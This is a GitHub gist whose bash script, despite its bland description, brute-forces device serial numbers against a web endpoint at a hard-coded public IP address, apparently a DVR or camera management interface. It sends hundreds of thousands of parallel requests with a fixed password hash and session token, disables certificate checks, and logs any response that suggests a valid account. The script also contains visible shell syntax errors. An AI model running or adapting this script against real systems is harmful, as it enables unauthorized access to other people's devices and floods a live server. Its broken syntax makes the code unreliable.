Created
January 29, 2020 16:01
-
-
Save trilom/1cfcc0af7cc4fbb4a1c855f6b4538ea6 to your computer and use it in GitHub Desktop.
This script can be used/modified to run a command a certain amount of times. this one is developed to run in hex so that you can use the random vars
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set +m | |
from=100000 to=999999 | |
if test "${#from}" -gt "${#to}"; then | |
format="%0${#from}X" | |
else | |
format="%0${#to}X" | |
fi | |
from=$(printf '%d' "0x$from") to=$(printf '%d' "0x$to") | |
pids=() | |
while test "$from" -le "$to"; do | |
if (( $from % 10000 == 0 )) then | |
printf "\033[1;33mMade it to $from AKA $format...\n\n\033[0m" "$from" | |
elif (( $from % 1000 == 0 )) then | |
printf "Made it to $from AKA $format...\n" "$from" | |
fi | |
if (( $from % 100 == 0 )) then | |
for pid in ${pids[@]}; do | |
wait $pid | |
done | |
pids=() | |
fi | |
_op() { | |
ret=$(http --verify=no 'https://54.39.133.18:3446/ccm/CcmAddSubDeviceRequest.js?hfrom_handle=754905&dSerialNumber=1jfiegb$(printf "$format" "$from")&dpass=31f34835702076eb9c8bbf221aff5394&dSession=1&dSession_Nid=MOnk4Gcu59vyHM3gEIntWRZCDmJjP1Dz&dSession_SerialNumber=MS' 'Connection: keep-alive' 'Pragma: no-cache' 'Cache-Control: no-cache' 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' 'Accept: */*' 'Sec-Fetch-Site: same-origin' 'Sec-Fetch-Mode: no-cors' 'Referer: https://54.39.133.18:3446/main.htm?timeOut=10000' 'Accept-Encoding: gzip, deflate, br' 'Accept-Language: en-US,en;q=0.9') | |
if [[ $ret == *"accounts.user.invalid"* ]]; then | |
elif [[ $ret == *"accounts.pass.invalid"* ]]; then | |
printf "\033[1;33m [*][*] $format contains something special:\n\033[0m" "$from" | |
echo "$ret" >> out.txt | |
else; | |
printf "\033[1;33m [*][*] $format contains something special:\n\033[0m" "$from" | |
echo "$ret" >> out.txt | |
fi | |
} | |
_op & | |
pids+=( $! ) | |
from=$((from+1)) | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment